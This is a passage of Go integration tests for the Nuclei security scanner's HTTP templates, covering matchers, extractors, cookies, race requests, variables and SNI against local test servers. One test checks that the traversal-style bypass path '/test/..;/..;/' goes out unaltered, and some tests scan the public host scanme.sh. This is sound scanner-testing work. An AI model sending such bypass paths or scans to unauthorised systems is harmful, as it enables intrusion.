httprouter.New()\n\tvar routerErr error\n\n\trouter.POST(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tif err := r.ParseMultipartForm(unitutils.Mega); err != nil {\n\t\t\trouterErr = err\n\t\t\treturn\n\t\t}\n\t\tpassword, ok := r.MultipartForm.Value[\"password\"]\n\t\tif !ok || len(password) != 1 {\n\t\t\trouterErr = errors.New(\"no password in request\")\n\t\t\treturn\n\t\t}\n\t\tfile := r.MultipartForm.File[\"username\"]\n\t\tif len(file) != 1 {\n\t\t\trouterErr = errors.New(\"no file in request\")\n\t\t\treturn\n\t\t}\n\t\tif strings.EqualFold(password[0], \"nuclei\") && strings.EqualFold(file[0].Filename, \"username\") {\n\t\t\t_, _ = fmt.Fprintf(w, \"This is test post-multipart matcher text\")\n\t\t}\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif routerErr != nil {\n\t\treturn routerErr\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype httpRawDynamicExtractor struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpRawDynamicExtractor) Execute(filePath string) error {\n\trouter := httprouter.New()\n\tvar routerErr error\n\n\trouter.POST(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tif err := r.ParseForm(); err != nil {\n\t\t\trouterErr = err\n\t\t\treturn\n\t\t}\n\t\tif strings.EqualFold(r.Form.Get(\"testing\"), \"parameter\") {\n\t\t\t_, _ = fmt.Fprintf(w, \"Token: 'nuclei'\")\n\t\t}\n\t})\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tif strings.EqualFold(r.URL.Query().Get(\"username\"), \"nuclei\") {\n\t\t\t_, _ = fmt.Fprintf(w, \"Test is test-dynamic-extractor-raw matcher text\")\n\t\t}\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif routerErr != nil {\n\t\treturn routerErr\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype httpRawGetQuery struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpRawGetQuery) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tif strings.EqualFold(r.URL.Query().Get(\"test\"), \"nuclei\") {\n\t\t\t_, _ = fmt.Fprintf(w, \"Test is test raw-get-query-matcher text\")\n\t\t}\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype httpRawGet struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpRawGet) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = fmt.Fprintf(w, \"Test is test raw-get-matcher text\")\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype httpRawWithParams struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpRawWithParams) Execute(filePath string) error {\n\trouter := httprouter.New()\n\tvar errx error\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tparams := r.URL.Query()\n\t\t// we intentionally use params[\"test\"] instead of params.Get(\"test\") to test the case where\n\t\t// there are multiple parameters with the same name\n\t\tif !reflect.DeepEqual(params[\"key1\"], []string{\"value1\"}) {\n\t\t\terrx = errkit.Append(errx, errkit.New(\"key1 not found in params\", \"expected\", []string{\"value1\"}, \"got\", params[\"key1\"]))\n\t\t}\n\t\tif !reflect.DeepEqual(params[\"key2\"], []string{\"value2\"}) {\n\t\t\terrx = errkit.Append(errx, errkit.New(\"key2 not found in params\", \"expected\", []string{\"value2\"}, \"got\", params[\"key2\"]))\n\t\t}\n\t\t_, _ = fmt.Fprintf(w, \"Test is test raw-params-matcher text\")\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL+\"/?key1=value1\", debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif errx != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 1)\n}\n\ntype httpRawPathTrailingSlash struct{}\n\nfunc (h *httpRawPathTrailingSlash) Execute(filepath string) error {\n\trouter := httprouter.New()\n\tvar routerErr error\n\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tif r.RequestURI != \"/test/..;/..;/\" {\n\t\t\trouterErr = fmt.Errorf(\"expected path /test/..;/..;/ but got %v\", r.RequestURI)\n\t\t\treturn\n\t\t}\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\t_, err := testutils.RunNucleiTemplateAndGetResults(filepath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif routerErr != nil {\n\t\treturn routerErr\n\t}\n\treturn nil\n}\n\ntype httpRawPayload struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpRawPayload) Execute(filePath string) error {\n\trouter := httprouter.New()\n\tvar routerErr error\n\n\trouter.POST(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tif err := r.ParseForm(); err != nil {\n\t\t\trouterErr = err\n\t\t\treturn\n\t\t}\n\t\tif !strings.EqualFold(r.Header.Get(\"another_header\"), \"bnVjbGVp\") && !strings.EqualFold(r.Header.Get(\"another_header\"), \"Z3Vlc3Q=\") {\n\t\t\treturn\n\t\t}\n\t\tif strings.EqualFold(r.Form.Get(\"username\"), \"test\") && (strings.EqualFold(r.Form.Get(\"password\"), \"nuclei\") || strings.EqualFold(r.Form.Get(\"password\"), \"guest\")) {\n\t\t\t_, _ = fmt.Fprintf(w, \"Test is raw-payload matcher text\")\n\t\t}\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif routerErr != nil {\n\t\treturn routerErr\n\t}\n\n\treturn expectResultsCount(results, 2)\n}\n\ntype httpRawPostBody struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpRawPostBody) Execute(filePath string) error {\n\trouter := httprouter.New()\n\tvar routerErr error\n\n\trouter.POST(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tif err := r.ParseForm(); err != nil {\n\t\t\trouterErr = err\n\t\t\treturn\n\t\t}\n\t\tif strings.EqualFold(r.Form.Get(\"username\"), \"test\") && strings.EqualFold(r.Form.Get(\"password\"), \"nuclei\") {\n\t\t\t_, _ = fmt.Fprintf(w, \"Test is test raw-post-body-matcher text\")\n\t\t}\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif routerErr != nil {\n\t\treturn routerErr\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype httpRawUnsafePath struct{}\n\nfunc (h *httpRawUnsafePath) Execute(filepath string) error {\n\t// testing unsafe paths using router feedback is not possible cause they are `unsafe urls`\n\t// hence it is done by parsing and matching paths from nuclei output with `-debug-req` flag\n\t// read template files\n\tbin, err := os.ReadFile(filepath)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Instead of storing expected `paths` in code it is stored in\n\t// `reference` section of template\n\ttype template struct {\n\t\tInfo struct {\n\t\t\tReference []string `yaml:\"reference\"`\n\t\t}\n\t}\n\tvar tpl template\n\tif err = yaml.Unmarshal(bin, &tpl); err != nil {\n\t\treturn err\n\t}\n\t// expected relative paths\n\texpected := []string{}\n\texpected = append(expected, tpl.Info.Reference...)\n\tif len(expected) == 0 {\n\t\treturn fmt.Errorf(\"something went wrong with %v template\", filepath)\n\t}\n\n\tresults, err := testutils.RunNucleiBinaryAndGetCombinedOutput(debug, []string{\"-t\", filepath, \"-u\", \"scanme.sh\", \"-debug-req\"})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tactual := []string{}\n\tfor _, v := range strings.Split(results, \"\\n\") {\n\t\tif strings.Contains(v, \"GET\") {\n\t\t\tparts := strings.Fields(v)\n\t\t\tif len(parts) == 3 {\n\t\t\t\tactual = append(actual, parts[1])\n\t\t\t}\n\t\t}\n\t}\n\n\tif !reflect.DeepEqual(expected, actual) {\n\t\treturn fmt.Errorf(\"%8v: %v\\n%-8v: %v\", \"expected\", expected, \"actual\", actual)\n\t}\n\treturn nil\n}\n\ntype httpPaths struct{}\n\nfunc (h *httpPaths) Execute(filepath string) error {\n\t// covers testcases similar to httpRawUnsafePath but when `unsafe:false`\n\tbin, err := os.ReadFile(filepath)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Instead of storing expected `paths` in code it is stored in\n\t// `reference` section of template\n\ttype template struct {\n\t\tInfo struct {\n\t\t\tReference []string `yaml:\"reference\"`\n\t\t}\n\t}\n\tvar tpl template\n\tif err = yaml.Unmarshal(bin, &tpl); err != nil {\n\t\treturn err\n\t}\n\t// expected relative paths\n\texpected := []string{}\n\texpected = append(expected, tpl.Info.Reference...)\n\tif len(expected) == 0 {\n\t\treturn fmt.Errorf(\"something went wrong with %v template\", filepath)\n\t}\n\n\tresults, err := testutils.RunNucleiBinaryAndGetCombinedOutput(debug, []string{\"-t\", filepath, \"-u\", \"scanme.sh\", \"-debug-req\"})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tactual := []string{}\n\tfor _, v := range strings.Split(results, \"\\n\") {\n\t\tif strings.Contains(v, \"GET\") {\n\t\t\tparts := strings.Fields(v)\n\t\t\tif len(parts) == 3 {\n\t\t\t\tactual = append(actual, parts[1])\n\t\t\t}\n\t\t}\n\t}\n\n\tif len(expected) > len(actual) {\n\t\tactualValuesIndex := max(len(actual)-1, 0)\n\t\treturn fmt.Errorf(\"missing values : %v\", expected[actualValuesIndex:])\n\t} else if len(expected) < len(actual) {\n\t\treturn fmt.Errorf(\"unexpected values : %v\", actual[len(expected)-1:])\n\t} else {\n\t\tif !reflect.DeepEqual(expected, actual) {\n\t\t\treturn fmt.Errorf(\"expected: %v\\n\\nactual: %v\", expected, actual)\n\t\t}\n\t}\n\treturn nil\n}\n\ntype httpRawCookieReuse struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpRawCookieReuse) Execute(filePath string) error {\n\trouter := httprouter.New()\n\tvar routerErr error\n\n\trouter.POST(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tif err := r.ParseForm(); err != nil {\n\t\t\trouterErr = err\n\t\t\treturn\n\t\t}\n\t\tif strings.EqualFold(r.Form.Get(\"testing\"), \"parameter\") {\n\t\t\thttp.SetCookie(w, &http.Cookie{Name: \"nuclei\", Value: \"test\"})\n\t\t}\n\t})\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tif err := r.ParseForm(); err != nil {\n\t\t\trouterErr = err\n\t\t\treturn\n\t\t}\n\t\tcookie, err := r.Cookie(\"nuclei\")\n\t\tif err != nil {\n\t\t\trouterErr = err\n\t\t\treturn\n\t\t}\n\n\t\tif strings.EqualFold(cookie.Value, \"test\") {\n\t\t\t_, _ = fmt.Fprintf(w, \"Test is test-cookie-reuse matcher text\")\n\t\t}\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif routerErr != nil {\n\t\treturn routerErr\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\n// TODO: excluded due to parsing errors with console\n// type httpRawUnsafeRequest struct{\n// Execute executes a test case and returns an error if occurred\n// func (h *httpRawUnsafeRequest) Execute(filePath string) error {\n// \tvar routerErr error\n//\n// \tts := testutils.NewTCPServer(nil, defaultStaticPort, func(conn net.Conn) {\n// \t\tdefer conn.Close()\n// \t\t_, _ = conn.Write([]byte(\"protocols/http/1.1 200 OK\\r\\nContent-Length: 36\\r\\nContent-Type: text/plain; charset=utf-8\\r\\n\\r\\nThis is test raw-unsafe-matcher test\"))\n// \t})\n// \tdefer ts.Close()\n//\n// \tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"http://\"+ts.URL, debug)\n// \tif err != nil {\n// \t\treturn err\n// \t}\n// \tif routerErr != nil {\n// \t\treturn routerErr\n// \t}\n//\n// \treturn expectResultsCount(results, 1)\n// }\n\ntype httpRequestCondition struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpRequestCondition) Execute(filePath string) error {\n\trouter := httprouter.New()\n\n\trouter.GET(\"/200\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tw.WriteHeader(http.StatusOK)\n\t})\n\trouter.GET(\"/400\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tw.WriteHeader(http.StatusBadRequest)\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype httpRequestSelfContained struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpRequestSelfContained) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = w.Write([]byte(\"This is self-contained response\"))\n\t})\n\tserver := &http.Server{\n\t\tAddr:    fmt.Sprintf(\"localhost:%d\", defaultStaticPort),\n\t\tHandler: router,\n\t}\n\tgo func() {\n\t\t_ = server.ListenAndServe()\n\t}()\n\tdefer func() {\n\t\t_ = server.Close()\n\t}()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"\", debug, \"-esc\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\n// testcase to check duplicated values in params\ntype httpRequestSelfContainedWithParams struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpRequestSelfContainedWithParams) Execute(filePath string) error {\n\trouter := httprouter.New()\n\tvar errx error\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tparams := r.URL.Query()\n\t\t// we intentionally use params[\"test\"] instead of params.Get(\"test\") to test the case where\n\t\t// there are multiple parameters with the same name\n\t\tif !reflect.DeepEqual(params[\"something\"], []string{\"here\"}) {\n\t\t\terrx = errkit.Append(errx, errkit.New(\"something not found in params\", \"expected\", []string{\"here\"}, \"got\", params[\"something\"]))\n\t\t}\n\t\tif !reflect.DeepEqual(params[\"key\"], []string{\"value\"}) {\n\t\t\terrx = errkit.Append(errx, errkit.New(\"key not found in params\", \"expected\", []string{\"value\"}, \"got\", params[\"key\"]))\n\t\t}\n\t\t_, _ = w.Write([]byte(\"This is self-contained response\"))\n\t})\n\tserver := &http.Server{\n\t\tAddr:    fmt.Sprintf(\"localhost:%d\", defaultStaticPort),\n\t\tHandler: router,\n\t}\n\tgo func() {\n\t\t_ = server.ListenAndServe()\n\t}()\n\tdefer func() {\n\t\t_ = server.Close()\n\t}()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"\", debug, \"-esc\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tif errx != nil {\n\t\treturn errx\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype httpRequestSelfContainedFileInput struct{}\n\nfunc (h *httpRequestSelfContainedFileInput) Execute(filePath string) error {\n\trouter := httprouter.New()\n\tgotReqToEndpoints := []string{}\n\trouter.GET(\"/one\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tgotReqToEndpoints = append(gotReqToEndpoints, \"/one\")\n\t\t_, _ = w.Write([]byte(\"This is self-contained response\"))\n\t})\n\trouter.GET(\"/two\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tgotReqToEndpoints = append(gotReqToEndpoints, \"/two\")\n\t\t_, _ = w.Write([]byte(\"This is self-contained response\"))\n\t})\n\tserver := &http.Server{\n\t\tAddr:    fmt.Sprintf(\"localhost:%d\", defaultStaticPort),\n\t\tHandler: router,\n\t}\n\tgo func() {\n\t\t_ = server.ListenAndServe()\n\t}()\n\tdefer func() {\n\t\t_ = server.Close()\n\t}()\n\n\t// create temp file\n\tFileLoc, err := os.CreateTemp(\"\", \"self-contained-payload-*.txt\")\n\tif err != nil {\n\t\treturn errkit.Wrap(err, \"failed to create temp file\")\n\t}\n\tif _, err := FileLoc.Write([]byte(\"one\\ntwo\\n\")); err != nil {\n\t\treturn errkit.Wrap(err, \"failed to write payload to temp file\")\n\t}\n\tdefer func() {\n\t\t_ = FileLoc.Close()\n\t}()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"\", debug, \"-V\", \"test=\"+FileLoc.Name(), \"-esc\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err := expectResultsCount(results, 4); err != nil {\n\t\treturn err\n\t}\n\n\tif !sliceutil.ElementsMatch(gotReqToEndpoints, []string{\"/one\", \"/two\", \"/one\", \"/two\"}) {\n\t\treturn errkit.New(\"expected requests to be sent to `/one` and `/two` endpoints but were sent to `%v`\", gotReqToEndpoints, \"filePath\", filePath)\n\t}\n\treturn nil\n}\n\ntype httpGetCaseInsensitive struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpGetCaseInsensitive) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = fmt.Fprintf(w, \"THIS IS TEST MATCHER TEXT\")\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype httpGetCaseInsensitiveCluster struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpGetCaseInsensitiveCluster) Execute(filesPath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = fmt.Fprintf(w, \"This is test matcher text\")\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tfiles := strings.Split(filesPath, \",\")\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(files[0], ts.URL, debug, \"-t\", files[1])\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 2)\n}\n\ntype httpGetRedirectsChainHeaders struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpGetRedirectsChainHeaders) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\thttp.Redirect(w, r, \"/redirected\", http.StatusFound)\n\t})\n\trouter.GET(\"/redirected\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tw.Header().Set(\"Secret\", \"TestRedirectHeaderMatch\")\n\t\thttp.Redirect(w, r, \"/final\", http.StatusFound)\n\t})\n\trouter.GET(\"/final\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = w.Write([]byte(\"ok\"))\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype httpRaceSimple struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpRaceSimple) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tw.WriteHeader(http.StatusOK)\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 10)\n}\n\ntype httpRaceMultiple struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpRaceMultiple) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tw.WriteHeader(http.StatusOK)\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 5)\n}\n\ntype httpRaceWithDelay struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpRaceWithDelay) Execute(filePath string) error {\n\tvar requestTimes []time.Time\n\tvar mu sync.Mutex\n\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tmu.Lock()\n\t\trequestTimes = append(requestTimes, time.Now())\n\t\tmu.Unlock()\n\t\ttime.Sleep(2 * time.Second)\n\t\tw.WriteHeader(http.StatusOK)\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif err := expectResultsCount(results, 3); err != nil {\n\t\treturn err\n\t}\n\n\tmu.Lock()\n\tdefer mu.Unlock()\n\tif len(requestTimes) != 3 {\n\t\treturn fmt.Errorf(\"expected 3 requests, got %d\", len(requestTimes))\n\t}\n\n\t// Check concurrency of first two requests (should be very close)\n\tif diff := requestTimes[1].Sub(requestTimes[0]); diff > 500*time.Millisecond {\n\t\treturn fmt.Errorf(\"expected first 2 requests to be concurrent, diff: %v\", diff)\n\t}\n\n\t// Check delay of third request (should be after ~2s)\n\tif diff := requestTimes[2].Sub(requestTimes[0]); diff < 1500*time.Millisecond {\n\t\treturn fmt.Errorf(\"expected 3rd request to be delayed, diff: %v\", diff)\n\t}\n\n\treturn nil\n}\n\ntype httpRaceWithVariables struct{}\n\n// Execute tests that variables and constants are properly resolved in race mode.\nfunc (h *httpRaceWithVariables) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/race\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t// Echo back the API key header so we can match on it\n\t\t_, _ = fmt.Fprint(w, r.Header.Get(\"X-API-Key\"))\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 3)\n}\n\ntype httpStopAtFirstMatch struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpStopAtFirstMatch) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = fmt.Fprintf(w, \"This is test\")\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype httpStopAtFirstMatchWithExtractors struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpStopAtFirstMatchWithExtractors) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = fmt.Fprintf(w, \"This is test\")\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 2)\n}\n\ntype httpVariables struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpVariables) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = fmt.Fprintf(w, \"%s\\n%s\\n%s\", r.Header.Get(\"Test\"), r.Header.Get(\"Another\"), r.Header.Get(\"Email\"))\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif err := expectResultsCount(results, 1); err != nil {\n\t\treturn err\n\t}\n\n\t// variable override that does not have any match\n\t// to make sure the variable override is working\n\tresults, err = testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug, \"-var\", \"a1=failed\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 0)\n}\n\ntype httpVariablesThreadsPrevious struct{}\n\n// Execute tests that variables can reference data extracted from previous requests\n// when using threads mode (parallel execution).\nfunc (h *httpVariablesThreadsPrevious) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/login\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = fmt.Fprint(w, \"token=secret123\")\n\t})\n\trouter.GET(\"/api\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t// Echo back the Authorization header so we can match on it\n\t\t_, _ = fmt.Fprint(w, r.Header.Get(\"Authorization\"))\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype httpVariableDSLFunction struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpVariableDSLFunction) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiBinaryAndGetCombinedOutput(debug, []string{\"-t\", filePath, \"-u\", \"https://scanme.sh\", \"-debug-req\"})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tactual := []string{}\n\tfor _, v := range strings.Split(results, \"\\n\") {\n\t\tif strings.Contains(v, \"GET\") {\n\t\t\tparts := strings.Fields(v)\n\t\t\tif len(parts) == 3 {\n\t\t\t\tactual = append(actual, parts[1])\n\t\t\t}\n\t\t}\n\t}\n\tif len(actual) == 2 && actual[0] == actual[1] {\n\t\treturn nil\n\t}\n\n\treturn fmt.Errorf(\"expected 2 requests with same URL, got %v\", actual)\n}\n\ntype customCLISNI struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *customCLISNI) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tif r.TLS.ServerName == \"test\" {\n\t\t\t_, _ = w.Write([]byte(\"test-ok\"))\n\t\t} else {\n\t\t\t_, _ = w.Write([]byte(\"test-ko\"))\n\t\t}\n\t})\n\tts := httptest.NewTLSServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug, \"-sni\", \"test\")\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 1)\n}\n\ntype httpSniAnnotation struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpSniAnnotation) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tif r.TLS.ServerName == \"test\" {\n\t\t\t_, _ = w.Write([]byte(\"test-ok\"))\n\t\t} else {\n\t\t\t_, _ = w.Write([]byte(\"test-ko\"))\n\t\t}\n\t})\n\tts := httptest.NewTLSServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 1)\n}\n\ntype httpRedirectMatchURL struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpRedirectMatchURL) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\thttp.Redirect(w, r, \"/redirected\", http.StatusFound)\n\t\t_, _ = w.Write([]byte(\"This is test redirects matcher text\"))\n\t})\n\trouter.GET(\"/redirected\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = fmt.Fprintf(w, \"This is test redirects matcher text\")\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug, \"-no-meta\")\n\tif err != nil 